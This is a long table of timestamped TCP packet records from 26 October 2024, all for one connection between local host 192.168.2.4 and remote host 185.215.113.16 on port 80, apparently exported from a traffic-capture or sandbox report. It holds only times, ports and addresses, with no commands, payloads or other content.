Oct 26, 2024 05:54:46.041194916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041215897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.041274071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041306973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041356087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.041363955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041399002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041429996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041455984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.041464090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.041466951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.081227064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.081259012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.081290960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.081304073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.081324100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.081336975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.121598005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.121696949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.121731997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.121761084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.121793032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.121881962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.121881962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.121881962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.363840103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.363960981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364006042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364010096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364058018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364090919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364093065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364120007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364152908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364161015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364187956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364217043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364229918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364248991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364285946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364299059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364327908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364358902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364368916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364391088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364420891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364428997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364454985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364487886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364492893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364516020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364548922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364556074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364582062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364620924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364634037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364666939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364700079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364725113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364736080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364764929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364775896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364798069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364830017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364835024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364857912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364892006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364896059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.364939928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364968061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.364980936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365016937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365051985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365056038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365081072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365092039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365113020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365145922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365151882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365173101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365206957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365211964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365240097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365272045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365278006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365303993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365336895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365341902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365369081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365401030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365407944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365432978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365464926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365473032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365498066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365530014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365536928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365562916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365595102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365601063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.365628004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365663052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.365670919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.370992899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.371038914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.371042967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.403889894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.403950930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.404026985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.404059887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.404095888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.444487095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.444538116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.444575071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.444586992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.485142946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.485244989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.485268116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.485282898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.485431910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.524704933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.524838924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.524889946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.524892092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.524928093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.524962902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.524975061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525012970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525046110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525054932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525080919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525113106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525121927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525147915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525181055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525187969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525218010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525258064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525304079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525336027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525367975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525372982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.525719881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.525769949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.565191984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.565256119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.565285921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.565299034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.605596066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.605632067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.605639935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.605664968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.605705023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.646186113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.646217108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.646250010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.646259069 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.646281004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.646318913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.685615063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685652018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685684919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685693026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.685878992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685921907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.685929060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685966015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.685997963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686007977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686047077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686077118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686085939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686109066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686141014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686146021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686233044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686268091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686301947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686336040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686376095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686403036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686434984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686469078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686472893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.686770916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686805010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.686813116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.726370096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.726397991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.726413965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.726433039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.726464987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.726474047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.767031908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.767060995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.767076969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.767096996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.767127037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.767134905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.807610035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.807643890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.807655096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.807696104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.807735920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.846904993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.846959114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.846987009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847007990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847038031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847069979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847079992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847105026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847141027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847198963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847248077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847280979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847287893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847441912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847492933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847495079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847527027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847567081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847609043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847640991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847673893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.847681046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.847992897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.848021030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.848036051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.848069906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.848103046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.848114014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.848134995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.848177910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.887870073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.887897968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.887932062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.887938976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.887964010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.888005972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.928142071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.928319931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.928347111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.928356886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.968874931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.968995094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.969026089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:46.969027996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:46.969090939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008419037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008536100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008585930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008616924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008650064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008682013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008682013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008682966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008713007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008723021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008745909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008788109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008797884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008846045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008878946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008892059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008912086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.008951902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.008960962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009013891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009048939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009052038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.009233952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009274960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.009324074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009377003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009404898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.009416103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.049252987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.049288034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.049304008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.049319983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.049371958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.089533091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.089564085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.089610100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.089695930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.089725971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.089770079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.130347967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.130403042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.130429983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.130445004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.169723988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169759989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169773102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.169811010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169850111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.169861078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169893980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169925928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169940948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.169959068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.169997931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.169997931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170027018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170059919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170068026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170097113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170130968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170141935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170164108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170209885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170371056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170475960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170526028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170556068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170608997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170638084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170650959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170728922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.170777082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.170831919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.210597038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.210639954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.210696936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.210702896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.210726976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.210740089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.250864029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.250958920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.250973940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.251002073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.251035929 CEST	80	49742	185.215.113.16	192.168.2.4
